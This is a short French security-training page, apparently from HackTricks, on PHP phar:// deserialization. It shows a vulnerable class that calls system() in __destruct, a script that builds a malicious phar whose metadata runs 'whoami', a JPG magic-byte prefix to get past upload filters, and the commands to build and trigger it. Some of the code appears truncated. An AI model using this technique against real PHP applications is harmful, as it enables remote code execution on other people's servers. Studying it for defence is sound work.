# phar:// désérialisation {{#include ../../banners/hacktricks-training.md}} Les fichiers **Phar** (PHP Archive) **contiennent des métadonnées au format sérialisé**, donc, lorsqu'ils sont analysés, ces **métadonnées** sont **désérialisées** et vous pouvez essayer d'exploiter une vulnérabilité de **désérialisation** dans le code **PHP**. La meilleure chose à propos de cette caractéristique est que cette désérialisation se produira même en utilisant des fonctions PHP qui n'évaluent pas le code PHP comme **file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize()**. Donc, imaginez une situation où vous pouvez faire en sorte qu'un web PHP obtienne la taille d'un fichier arbitraire en utilisant le protocole **`phar://`**, et à l'intérieur du code, vous trouvez une **classe** similaire à la suivante : ```php:vunl.php data = $data; } function __destruct() { system($this->data); } } filesize("phar://test.phar"); #The attacker can control this path ``` Vous pouvez créer un fichier **phar** qui, lorsqu'il est chargé, **exploite cette classe pour exécuter des commandes arbitraires** avec quelque chose comme : ```php:create_phar.php data = $data; } function __destruct() { system($this->data); } } // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n"); // add object of any class as meta data $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering(); ``` Notez comment les **octets magiques de JPG** (`\xff\xd8\xff`) sont ajoutés au début du fichier phar pour **contourner** les **éventuelles** restrictions de **téléchargement** de fichiers.\ **Compilez** le fichier `test.phar` avec : ```bash php --define phar.readonly=0 create_phar.php ``` Et exécutez la commande `whoami` en abusant du code vulnérable avec : ```bash php vuln.php ``` ### Références {{#ref}} https://blog.ripstech.com/2018/new-php-exploitation-technique/ {{#endref}} {{#include ../../banners/hacktricks-training.md}}